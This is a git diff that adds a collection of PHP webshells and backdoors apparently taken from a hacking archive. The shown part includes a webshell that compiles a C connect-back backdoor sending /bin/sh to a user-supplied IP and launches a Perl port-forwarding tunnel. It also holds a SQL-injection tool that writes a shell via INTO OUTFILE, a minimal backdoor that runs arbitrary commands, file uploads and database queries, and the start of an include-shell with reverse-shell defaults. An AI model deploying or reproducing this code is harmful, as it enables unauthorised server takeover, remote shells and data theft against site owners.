+fwrite($fp,"$c_bd_scp");
+passthru("gcc .nst_bd_tmp/nst_c_bd.c -o .nst_bd_tmp/nst_bd");
+passthru("nohup .nst_bd_tmp/nst_bd &");
+unlink(".nst_bd_tmp/nst_bd");
+unlink(".nst_bd_tmp/nst_c_bd.c");
+rmdir(".nst_bd_tmp");
+}
+}
+$show_ps="1";
+}#end of c bd
+
+
+if($_POST['bc_c']){ # nc -l -p 4500
+$port_c = $_POST['port_c'];
+$ip=$_POST['ip'];
+$bc_c_scp = "#include
+#include
+#include
+#include
+#include
+
+#include
+#include
+
+int fd, sock;
+int port = $port_c;
+struct sockaddr_in addr;
+
+char mesg[] = \"::Connect-Back Backdoor:: CMD: \";
+char shell[] = \"/bin/sh\";
+
+int main(int argc, char *argv[]) {
+ while(argc<2) {
+ fprintf(stderr, \" %s \", argv[0]);
+ exit(0); }
+
+addr.sin_family = AF_INET;
+addr.sin_port = htons(port);
+addr.sin_addr.s_addr = inet_addr(argv[1]);
+fd = socket(AF_INET, SOCK_STREAM, 0);
+connect(fd, (struct sockaddr*)&addr, sizeof(addr));
+
+send(fd, mesg, sizeof(mesg), 0);
+
+dup2(fd, 0);
+dup2(fd, 1);
+dup2(fd, 2);
+execl(shell, \"in.telnetd\", 0);
+
+close(fd);
+return 1;
+}
+
+";
+
+if(is_writable("/tmp")){
+if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");}
+if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");}
+$fp=fopen("/tmp/nst_c_bc_c.c","w");
+$bd_c_scp=str_replace("!n","\n",$bd_c_scp);
+fwrite($fp,"$bc_c_scp");
+passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c");
+passthru("nohup /tmp/nst_bc_c $ip &");
+unlink("/tmp/nst_bc_c");
+unlink("/tmp/nst_bc_c.c");
+}else{
+if(is_writable(".")){
+mkdir(".nst_bc_c_tmp");
+$fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w");
+$bd_c_scp=str_replace("!n","\n",$bd_c_scp);
+fwrite($fp,"$bc_c_scp");
+passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c");
+passthru("nohup .nst_bc_c_tmp/nst_bc_c $ip &");
+unlink(".nst_bc_c_tmp/nst_bc_c.c");
+unlink(".nst_bc_c_tmp/nst_bc_c");
+rmdir(".nst_bc_c_tmp");
+}
+}
+$show_ps="1";
+
+}#end of back connect C
+
+
+if($_POST['datapipe_pl']){
+$port_2=$_POST['port_2'];
+$port_3=$_POST['port_3'];
+$ip=$_POST['ip'];
+$datapipe_pl = "
+#!/usr/bin/perl
+# coded by CuTTer (rus hacker)
+use IO::Socket;
+use POSIX;
+
+\$localport=$port_2;
+\$host=\"$ip\";
+\$port=$port_3;
+
+\$daemon=1;
+
+\$DIR = undef;
+
+## Âûâîäèòü ëîã ñîáûòèé (1-äà, 0-íåò)
+\$log=0;
+
+
+
+
+\$| = 1;
+
+if (\$daemon){
+ print \"3anycKaeM daemon\n\";
+
+ \$pid = fork;
+ exit if \$pid;
+ die \"Couldn't fork: \$!\" unless defined(\$pid);
+ POSIX::setsid() or die \"Can't start a new session: \$!\";
+}
+
+%o = ('port' => \$localport,
+ 'toport' => \$port,
+ 'tohost' => \$host);
+
+\$ah = IO::Socket::INET->new(
+ 'LocalPort' => \$localport,
+ 'Reuse' => 1,
+ 'Listen' => 10)
+ || die \"Íåëüçÿ îòêðûòü ñîêåò äëÿ ñîåäèíåíèé: \$!\";
+
+print \"Íà÷èíàåì âûïîëíåíèÿ öèêëà.\n\" if \$log;
+\$SIG{'CHLD'} = 'IGNORE';
+\$num = 0;
+while (1) {
+ \$ch = \$ah->accept();
+ if (!\$ch) {
+ print STDERR \"Ïðåðâàíî âûïîëåíèå accept: \$!\n\";
+ next;
+ }
+
+ printf(\"Íîâûé êëèåíò: host %s, port %s.\n\",
+ \$ch->peerhost(), \$ch->peerport()) if \$log;
+ ++\$num;
+ \$pid = fork();
+ if (!defined(\$pid)) {
+ print STDERR \"Íåâîçìîæíî âûïîëíèòü fork: \$!\n\";
+ } elsif (\$pid == 0) {
+## Íîâûé ïðîöåññ
+ \$ah->close();
+ Run(\%o, \$ch, \$num);
+ } else {
+ print \"Parent: Fork ïðîøåë óñïåøíî, çàêðûâàåì ñîêåò.\n\" if \$log;
+ \$ch->close();
+ }
+}
+
+
+sub Run {
+ my(\$o, \$ch, \$num) = @_;
+ my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'},
+ 'PeerPort' => \$o->{'toport'});
+ print(\"Child: Äåëàåì ðåäèðåêò íà \$o->{'tohost'}, ïîðò \$o->{'toport'}.\n\") if \$log;
+ if (!\$th) {
+ printf STDERR (\"Child: Ïðåðâàí ðåäèðåêò íà %s, ïîðò %s.\n\",
+ \$o->{'tohost'}, \$o->{'toport'});
+ exit 0;
+ }
+
+ my \$fh;
+ if (\$o->{'dir'}) {
+ \$fh = Symbol::gensym();
+ open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\")
+ or die \"Child: Ïðåðâàíî ñîçäàíèå ëîã ôàéëà \$o->{'dir'}/tunnel\$num.log: \$!\";
+ }
+
+ \$ch->autoflush();
+ \$th->autoflush();
+ while (\$ch || \$th) {
+ print \"Child: Âêëþ÷àåì öèêë.\n\" if \$log;
+ my \$rin = \"\";
+ vec(\$rin, fileno(\$ch), 1) = 1 if \$ch;
+ vec(\$rin, fileno(\$th), 1) = 1 if \$th;
+ my(\$rout, \$eout);
+ select(\$rout = \$rin, undef, \$eout = \$rin, 120);
+ if (!\$rout && !\$eout) {
+ print STDERR \"Child: Îøèáêà Timeout.\n\";
+ }
+ my \$cbuffer = \"\";
+ my \$tbuffer = \"\";
+
+ if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) {
+ print \"Child: Æäåì äàííûõ îò êëèåíòà.\n\" if \$log;
+ my \$result = sysread(\$ch, \$tbuffer, 1024);
+ if (!defined(\$result)) {
+ print STDERR \"Child: Îøèáêà ïðè ñ÷èòûâàíèè äàííûõ êëèåíòà: \$!\n\";
+ exit 0;
+ }
+ if (\$result == 0) {
+ print \"Child: Êëèåíò îòñîåäèíèëñÿ.\n\" if \$log;
+ exit 0;
+ }
+
+ print \"Child: Äàííûå: \$cbuffer\n\" if \$log;
+ }
+
+ if (\$th && (vec(\$eout, fileno(\$th), 1) || vec(\$rout, fileno(\$th), 1))) {
+ print \"Child: Æäåì äàííûõ.\n\" if \$log;
+ my \$result = sysread(\$th, \$cbuffer, 1024);
+ if (!defined(\$result)) {
+ print STDERR \"Child: Íåâîçìîæíî ñ÷èòàòü äàííûå: \$!\n\";
+ exit 0;
+ }
+
+ if (\$result == 0) {
+ print \"Child: Ïðîèçîøëî îòñîåäèíåíèå.\n\" if \$log;
+ exit 0;
+ }
+
+ print \"Child: Äàííûå: \$cbuffer\n\" if \$log;
+ }
+
+ if (\$fh && \$tbuffer) {
+ (print \$fh \$tbuffer);
+ }
+
+ while (my \$len = length(\$tbuffer)) {
+ print \"Child: Îòïðàâëÿåì \$len áàéò.\n\" if \$log;
+ my \$res = syswrite(\$th, \$tbuffer, \$len);
+ print \"Child: Äàííûå îòïðàâëåíû.\n\" if \$log;
+ if (\$res > 0) {
+ \$tbuffer = substr(\$tbuffer, \$res);
+ } else {
+ print STDERR \"Child: Íåâîçìîæíî îòïðàâèòü äàííûå: \$!\n\";
+ }
+ }
+
+ while (my \$len = length(\$cbuffer)) {
+ print \"Child: Îòïðàâëÿåì \$len áàéò êëèåíòó.\n\" if \$log;
+ my \$res = syswrite(\$ch, \$cbuffer, \$len);
+ print \"Child: Äàííûå îòïðàâëåíû..\n\" if \$log;
+ if (\$res > 0) {
+ \$cbuffer = substr(\$cbuffer, \$res);
+ } else {
+ print STDERR \"Child: Íåâîçìîæíî îòïðàâèòü äàííûå: \$!\n\";
+ }
+ }
+ }
+}
+
+";
+
+if(is_writable("/tmp")){
+$fp=fopen("/tmp/nst_perl_datapipe.pl","w");
+fwrite($fp,"$datapipe_pl");
+passthru("nohup perl /tmp/nst_perl_datapipe.pl &");
+unlink("/tmp/nst_perl_datapipe.pl");
+}else{
+if(is_writable(".")){
+mkdir(".nst_datapipe_tmp");
+$fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w");
+fwrite($fp,"$datapipe_pl");
+passthru("nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &");
+unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl");
+rmdir(".nst_datapipe_tmp");
+}
+}
+$show_ps="1";
+
+}#end of datapipe perl
+
+
+
+
+
+if($show_ps=="1"){
+print "[ps ux] ";
+print "";
+passthru("ps ux");
+print " ";
+}
+
+
+
+echo "md5:
+
+md5 online encoder/decoder (brutforce) (php) - [DOWNLOAD ]
+
+";
+@$md5=@$_POST['md5'];
+if(@$_POST['md5']){ echo "md5:".md5($md5)." ";}
+echo "
+base64 e/d: ";
+if(@$_POST['base64']){
+@$base64=$_POST['base64'];
+echo "
+Encode: ".base64_encode($base64)."
+Decode: ".base64_decode($base64)." ";}
+echo "
+DES:
+John The Ripper [Web ] ";
+if(@$_POST['des']){
+@$des=@$_POST['des'];
+echo "Des: ".crypt($des)." ";}
+
+print "
+eval:
+(example: print \"Hello World\";)
+
+<?
+
+?>
+
+
+";
+
+function eval_sl($editf){
+if(get_magic_quotes_gpc()==1){
+$editf=stripslashes($editf);
+}
+return $editf;
+}
+
+
+if($_POST['eval']){
+print "RESULT: ";
+eval(eval_sl($_POST['eval']));
+print " ";
+
+print "PHP: \r\n\r\n";
+print "<?\r\n";
+print " ";
+print htmlspecialchars(eval_sl(($_POST['eval'])));
+print " ";
+print "?>\r\n\r\n ";
+
+}
+
+echo $copyr;
+exit;}
+
+if(@$_GET['replace']=="1"){
+$ip=@$_SERVER['REMOTE_ADDR'];
+$d=$_GET['d'];
+$e=$_GET['e'];
+@$de=$d."/".$e;
+$de=str_replace("//","/",$de);
+$e=@$e;
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+echo "
+Replace tool:
+(You can replace any text)
+File: $de
+
+1. Your ip.
+2. microsoft.com ip :)
+Replace this by this
+
+
+";
+
+if(@$_POST['doit']){
+@$thisX=$_POST['thisX'];
+@$bythis=$_POST['bythis'];
+@$e=$_GET['e'];
+$filename="$d/$e";
+$fd = @fopen ($filename, "r");
+$rpl = @fread ($fd, @filesize ($filename));
+$re=str_replace("$thisX","$bythis",$rpl);
+$x=@fopen("$d/$e","w");
+@fwrite($x,"$re");
+echo "$thisX Replaced by $bythis
+[VIew file ] ";
+
+}
+echo $copyr;
+exit;}
+
+
+if(@$_GET['t']=="upload"){
+echo "
+* Mass upload *
+File upload:
+
+
+
+New file name:
+ (if empty, it will be default)
+
+
+";
+
+if(@$_POST['uploadf']){
+$where=$_POST['where'];
+$newf=$_POST['newf'];
+$where=str_replace("//","/",$where);
+if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;}
+$uploadfile = "$where/".$newf;
+if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) {
+$uploadfile=str_replace("//","/",$uploadfile);
+echo " Uploaded to $uploadfile ";
+}else{
+echo " Error ";}
+}
+}
+
+if(@$_GET['t']=="massupload"){
+echo "
+Mass upload:
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ";
+
+if(@$_POST['massupload']){
+$where=@$_POST['where'];
+$uploadfile1 = "$where/".@$_FILES['text1']['name'];
+$uploadfile2 = "$where/".@$_FILES['text2']['name'];
+$uploadfile3 = "$where/".@$_FILES['text3']['name'];
+$uploadfile4 = "$where/".@$_FILES['text4']['name'];
+$uploadfile5 = "$where/".@$_FILES['text5']['name'];
+$uploadfile6 = "$where/".@$_FILES['text6']['name'];
+$uploadfile7 = "$where/".@$_FILES['text7']['name'];
+$uploadfile8 = "$where/".@$_FILES['text8']['name'];
+$uploadfile9 = "$where/".@$_FILES['text9']['name'];
+$uploadfile10 = "$where/".@$_FILES['text10']['name'];
+$uploadfile11 = "$where/".@$_FILES['text11']['name'];
+$uploadfile12 = "$where/".@$_FILES['text12']['name'];
+$uploadfile13 = "$where/".@$_FILES['text13']['name'];
+$uploadfile14 = "$where/".@$_FILES['text14']['name'];
+$uploadfile15 = "$where/".@$_FILES['text15']['name'];
+$uploadfile16 = "$where/".@$_FILES['text16']['name'];
+$uploadfile17 = "$where/".@$_FILES['text17']['name'];
+$uploadfile18 = "$where/".@$_FILES['text18']['name'];
+$uploadfile19 = "$where/".@$_FILES['text19']['name'];
+$uploadfile20 = "$where/".@$_FILES['text20']['name'];
+if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile1 ";}
+if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile2 ";}
+if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile3 ";}
+if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile4 ";}
+if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile5 ";}
+if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile6 ";}
+if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile7 ";}
+if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile8 ";}
+if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile9 ";}
+if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile10 ";}
+if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile11 ";}
+if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile12 ";}
+if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile13 ";}
+if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile14 ";}
+if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile15 ";}
+if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile16 ";}
+if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile17 ";}
+if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile18 ";}
+if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile19 ";}
+if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Uploaded to $uploadfile20 ";}
+}
+echo $copyr;
+exit;}
+
+if(@$_GET['yes']=="yes"){
+$d=@$_GET['d']; $e=@$_GET['e'];
+unlink($d."/".$e);
+$delresult="Success $d/$e deleted ";
+}
+if(@$_GET['clean']=="1"){
+@$e=$_GET['e'];
+$x=fopen("$d/$e","w");
+fwrite($x,"");
+echo " ";
+exit;
+}
+
+
+if(@$_GET['e']){
+$d=@$_GET['d'];
+$e=@$_GET['e'];
+$pinf=pathinfo($e);
+if(in_array(".".@$pinf['extension'],$images)){
+echo " ";
+exit;}
+$filename="$d/$e";
+$fd = @fopen ($filename, "r");
+$c = @fread ($fd, @filesize ($filename));
+$c=htmlspecialchars($c);
+$de=$d."/".$e;
+$de=str_replace("//","/",$de);
+if(is_file($de)){
+if(!is_writable($de)){echo "READ ONLY ";}}
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+echo "
+File contents:
+$de
+
+
+
+";
+
+if(@$_GET['delete']=="1"){
+$delete=$_GET['delete'];
+echo "
+DELETE: Are you sure?
+Yes || No
+
+";
+if(@$_GET['yes']=="yes"){
+@$d=$_GET['d']; @$e=$_GET['e'];
+echo $delresult;
+}
+if(@$_GET['no']){
+echo "
+";
+}
+
+
+} #end of delete
+echo $copyr;
+exit;
+} #end of e
+
+if(@$_GET['edit']=="1"){
+@$d=$_GET['d'];
+@$ef=$_GET['ef'];
+$e=$ef;
+if(is_file($d."/".$ef)){
+if(!is_writable($d."/".$ef)){echo "READ ONLY ";}}
+echo "[Delete ] [Edit ] [Filesize to 0 byte ] [Replace text in file ] [Download ] [Rename ] [CHMOD ] [Copy ] ";
+$filename="$d/$ef";
+$fd = @fopen ($filename, "r");
+$c = @fread ($fd, @filesize ($filename));
+$c=htmlspecialchars($c);
+$de=$d."/".$ef;
+$de=str_replace("//","/",$de);
+echo "
+Edit:
+$de ";
+
+if(!@$_POST['save']){
+print "
+
+
+$c
+
+
+";
+}
+if(@$_POST['save']){
+$editf=@$_POST['editf'];
+
+if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){
+$editf=stripslashes($editf);
+}
+
+$f=fopen($filename,"w+");
+fwrite($f,"$editf");
+echo "
+File edited.
+ ";
+exit;
+}
+echo $copyr;
+exit;
+}
+
+
+
+echo"
+
+Filename Tools Size Owner/Group Perms
+";
+$dirs=array();
+$files=array();
+$dh = @opendir($d) or die("Permission Denied or Folder/Disk does not exist $copyr
");
+while (!(($file = readdir($dh)) === false)) {
+if ($file=="." || $file=="..") continue;
+if (@is_dir("$d/$file")) {
+ $dirs[]=$file;
+}else{
+ $files[]=$file;
+ }
+ sort($dirs);
+ sort($files);
+
+$fz=@filesize("$d/$file");
+}
+
+function perm($perms){
+if (($perms & 0xC000) == 0xC000) {
+ $info = 's';
+} elseif (($perms & 0xA000) == 0xA000) {
+ $info = 'l';
+} elseif (($perms & 0x8000) == 0x8000) {
+ $info = '-';
+} elseif (($perms & 0x6000) == 0x6000) {
+ $info = 'b';
+} elseif (($perms & 0x4000) == 0x4000) {
+ $info = 'd';
+} elseif (($perms & 0x2000) == 0x2000) {
+ $info = 'c';
+} elseif (($perms & 0x1000) == 0x1000) {
+ $info = 'p';
+} else {
+ $info = 'u';
+}
+$info .= (($perms & 0x0100) ? 'r' : '-');
+$info .= (($perms & 0x0080) ? 'w' : '-');
+$info .= (($perms & 0x0040) ?
+ (($perms & 0x0800) ? 's' : 'x' ) :
+ (($perms & 0x0800) ? 'S' : '-'));
+$info .= (($perms & 0x0020) ? 'r' : '-');
+$info .= (($perms & 0x0010) ? 'w' : '-');
+$info .= (($perms & 0x0008) ?
+ (($perms & 0x0400) ? 's' : 'x' ) :
+ (($perms & 0x0400) ? 'S' : '-'));
+$info .= (($perms & 0x0004) ? 'r' : '-');
+$info .= (($perms & 0x0002) ? 'w' : '-');
+$info .= (($perms & 0x0001) ?
+ (($perms & 0x0200) ? 't' : 'x' ) :
+ (($perms & 0x0200) ? 'T' : '-'));
+return $info;
+}
+
+
+for($i=0; $i$dirs[$i]";
+$linkd=str_replace("//","/",$linkd);
+echo "0 $linkdDIR $owner/$group $info ";
+}
+
+for($i=0; $i2 $files[$i] [options] $siz $owner/$group $info ";
+}
+
+echo "
";
+echo $copyr;
+
+?>
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/pHpINJ.php.php.txt b/xakep-shells/PHP/pHpINJ.php.php.txt
new file mode 100644
index 0000000..b54acc6
--- /dev/null
+++ b/xakep-shells/PHP/pHpINJ.php.php.txt
@@ -0,0 +1,37 @@
+
+
+
+|| .::News Remote PHP Shell Injection::. ||
+
+
+|| .::News PHP Shell Injection::. ||
+' ,0 ,0 ,0 ,0 INTO OUTFILE '$outfile";
+$sql = urlencode($sql);
+$expurl= $url."?id=".$sql ;
+echo ' Click Here to Exploit ';
+echo "After clicking go to http://www.site.com/path2phpshell/shell.php?cpc=ls to see results";
+}
+else
+{
+?>
+Url to index.php:
+" method = "post">
+
+Server Path to Shell:
+Full server path to a writable file which will contain the Php Shell
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/xakep-shells/PHP/php-backdoor.php.txt b/xakep-shells/PHP/php-backdoor.php.txt
new file mode 100644
index 0000000..7defd37
--- /dev/null
+++ b/xakep-shells/PHP/php-backdoor.php.txt
@@ -0,0 +1,71 @@
+
+// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\
+
+ob_implicit_flush();
+if(isset($_REQUEST['f'])){
+ $filename=$_REQUEST['f'];
+ $file=fopen("$filename","rb");
+ fpassthru($file);
+ die;
+}
+if(isset($_REQUEST['d'])){
+ $d=$_REQUEST['d'];
+ echo "";
+ if ($handle = opendir("$d")) {
+ echo "listing of $d ";
+ while ($dir = readdir($handle)){
+ if (is_dir("$d/$dir")) echo "";
+ else echo "";
+ echo "$dir\n";
+ echo " ";
+ }
+
+ } else echo "opendir() failed";
+ closedir($handle);
+ die (" ");
+}
+if(isset($_REQUEST['c'])){
+ echo "";
+ system($_REQUEST['c']);
+ die;
+}
+if(isset($_REQUEST['upload'])){
+
+ if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
+ else $dir=$_REQUEST['dir'];
+ $fname=$HTTP_POST_FILES['file_name']['name'];
+ if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
+ die('file uploading error.');
+}
+if(isset($_REQUEST['mquery'])){
+
+ $host=$_REQUEST['host'];
+ $usr=$_REQUEST['usr'];
+ $passwd=$_REQUEST['passwd'];
+ $db=$_REQUEST['db'];
+ $mquery=$_REQUEST['mquery'];
+ mysql_connect("$host", "$usr", "$passwd") or
+ die("Could not connect: " . mysql_error());
+ mysql_select_db("$db");
+ $result = mysql_query("$mquery");
+ if($result!=FALSE) echo "query was executed correctly \n";
+ while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
+ mysql_free_result($result);
+ die;
+}
+?>
+ execute command:
+
+upload file: to dir:
+ to browse go to http:// echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
+ for example:
+http:// echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
+or http:// echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
+ execute mysql query:
+
+host: user: password:
+
+database: query:
+
+
+
diff --git a/xakep-shells/PHP/php-include-w-shell.php.txt b/xakep-shells/PHP/php-include-w-shell.php.txt
new file mode 100644
index 0000000..2b4b74a
--- /dev/null
+++ b/xakep-shells/PHP/php-include-w-shell.php.txt
@@ -0,0 +1,1312 @@
+ 0,
+ "filecopy" => 0,
+ "fileedit" => 0,
+ "showsource" => 0,
+ "snoop" => 0,
+ "cmdln" => 0,
+ "connectback" => 0,
+ "phpshell" => 0,
+ "servicecheck" => 0,
+ "mysqlaccess" => 0,
+ "mail" => 0,
+ "env" => 0,
+ "phpenv" => 0,
+ "phpinfo" => 0,
+ "dumpvars" => 0,
+ "debugscript" => 0,
+ "syslog" => 0
+);
+
+# init navigation
+foreach($ArrFuncs as $key => $val) if(!isset($$key)) $$key = $val;
+
+
+
+# set default values
+$ArrDefaults = array(
+ "filecopy_source" => "http://...",
+ "filecopy_dest" => getcwd(),
+ "cmdcall" => "",
+ "editfile" => getcwd(),
+ "editcontent" => "",
+ "chdir" => ".",
+ "vsource" => $SCRIPT_FILENAME,
+ "mail_from" => "attacker@0wned.org",
+ "mail_to" => "",
+ "mail_subject" => "",
+ "mail_attach_source" => "http://....",
+ "mail_attach_appear" => "filename...",
+ "mail_content_type" => "image/png",
+ "mail_msg" => "",
+ "tcpports" => "21 22 23 25 80 110",
+ "timeout" => 5,
+ "miniinc_loc" => getcwd() . "/miniinc.php",
+ "incdbhost" => "localhost",
+ "cbhost" => $_SERVER['REMOTE_ADDR'],
+ "cbport" => 20202,
+ "cbtempdir" => "/tmp",
+ "cbcompiler" => "gcc",
+ "phpshellapp" => "export TERM=xterm; bash -i",
+ "phpshellhost" => "0.0.0.0",
+ "phpshellport" => "20202"
+);
+
+# init defaults
+foreach($ArrDefaults as $key => $val) if(!isset($$key)) $$key = $val;
+
+# define executable functions
+$Mstr = array(
+ 0 => "No execute functions available!",
+ 1 => "passthru()",
+ 2 => "system()",
+ 3 => "backticks",
+ 4 => "proc_open()",
+ 5 => "exec()"
+);
+
+# clean request to avoid uri monster
+$SREQ = "";
+$reqdat = array();
+$tmpCount=0;
+foreach($REQUESTS as $key => $val){
+ if($tmpCount==0) $reqdat[] = $key."=".$val;
+ else if($val!=0 || $val!="" || $val!="0") $reqdat[] = $key."=".$val;
+ $tmpCount++;
+}
+$SREQ = implode("&", $reqdat);
+$tmpCount=0;
+if($SREQ=="") {
+ $tmp_req = array();
+ $tmp_qry = explode("&", $QUERY_STRING);
+ foreach($tmp_qry as $key => $val) {
+ $tmp_val = explode("=", $val);
+ if($tmpCount==0) $tmp_req[] = $tmp_val[0]."=".$tmp_val[1];
+ else if($tmp_val[1]!=0 || $tmp_val[1]!="" || $tmp_val[1]!="0") $tmp_req[] = $tmp_val[0]."=".$tmp_val[1];
+ $tmpCount++;
+ }
+ $SREQ = implode("&", $tmp_req);
+}
+
+if(isset($path['docroot'])) $SREQ .= "&path[docroot]=" . $path['docroot'];
+
+# set some defaults to avaoid errors
+$is_file = array();
+$is_dir = array();
+$is_w_dir = array();
+$is_w_file = array();
+$emeth=0;
+if($chdir!="/" && strlen($chdir) < 2) $chdir = getcwd() . "/";
+$chdir = str_replace("//", "/", $chdir);
+if(substr($chdir, -1) != "/") $chdir .= "/";
+##
+# Setup wether to use PHP_SELF or SCRIPT_NAME
+if($PHP_SELF!=$SCRIPT_NAME) $MyLoc = $PHP_SELF;
+else $MyLoc = $SCRIPT_NAME;
+
+# $MyLoc = "http://" . $_SERVER['HTTP_HOST'] . $MyLoc;
+$MyLoc = "http://" . $SERVER_NAME . ":" . $SERVER_PORT . $MyLoc;
+
+# This is a list of internal inc.inc vars that do not get displayed
+# inside the dumpvars function (poss for a debug func later?)
+$DebugArr = array(
+ 'ARHGFDGFGASDFG',
+ 'safe_mode',
+ 'register_globals',
+ 'magic_quotes_gpc',
+ 'txt',
+ 'lang',
+ 'SM',
+ 'RG',
+ 'MQ',
+ 'ArrFuncs',
+ 'val',
+ 'key',
+ 'env',
+ 'phpenv',
+ 'phpinfo',
+ 'debugscript',
+ 'filecopy',
+ 'fileedit',
+ 'showsource',
+ 'snoop',
+ 'mail',
+ 'cmdln',
+ 'syslog',
+ 'servicecheck',
+ 'dropinc',
+ 'mysqlaccess',
+ 'ArrDefaults',
+ 'filecopy_source',
+ 'filecopy_dest',
+ 'cmdcall',
+ 'editfile',
+ 'editcontent',
+ 'chdir',
+ 'vsource',
+ 'mail_from',
+ 'mail_to',
+ 'mail_subject',
+ 'mail_attach_source',
+ 'mail_attach_appear',
+ 'mail_content_type',
+ 'mail_msg',
+ 'tcpports',
+ 'timeout',
+ 'miniinc_loc',
+ 'incdbhost',
+ 'Mstr',
+ 'SREQ',
+ 'reqdat',
+ 'tmpCount',
+ 'is_file',
+ 'is_dir',
+ 'is_w_dir',
+ 'is_w_file',
+ 'emeth',
+ 'MyLoc',
+ 'dumpvarsare',
+ 'DebugArr',
+ 'cbtempdir',
+ 'cbcompiler',
+ 'cbhost',
+ 'cbport',
+ 'phpshelltype',
+ 'phpshellapp',
+ 'phpshellhost',
+ 'phpshellport'
+);
+
+
+# activate syslog entry
+if($syslog == 1)
+{
+# openlog("# XSS $SCRIPT_URI #", LOG_PID | LOG_PERROR, LOG_LOCAL0);
+# drop_syslog_warning("Q: $QUERY_STRING :: R: $REMOTE_ADDR ($HTTP_USER_AGENT)");
+}
+###############################################################################
+#
+# start include output
+#
+###############################################################################
+$strOutput = "";
+$strOutput .= "
+
+
+Include tool
+PHP Version: " . phpversion() . " |
+safe_mode: $SM |
+register_globals: $RG |
+magic_quotes_gpc: $MQ |
+syslogging: ";
+if($syslog == 1) $strOutput .= $txt[$lang]['off']; else $strOutput .= $txt[$lang]['on'];
+$strOutput .= "
+
+
+";
+foreach($ArrFuncs as $key => $val) $strOutput .= make_switch($key);
+
+###############################################################################
+# test cmd shell environment
+###############################################################################
+if($env == 1) {
+ $strOutput .= "
+ cmd infos
+ test using pwd "; $emeth =& test_cmd_shell(); $strOutput .= " ";
+ if($emeth==0) {
+ $strOutput .= "$Mstr[$emeth] ";
+ } else {
+ $strOutput .= "exec method $Mstr[$emeth]
+ uname -a " . Mexec("uname -a", $emeth) . "
+ id " . Mexec("id", $emeth) . "
+
";
+ }
+}
+
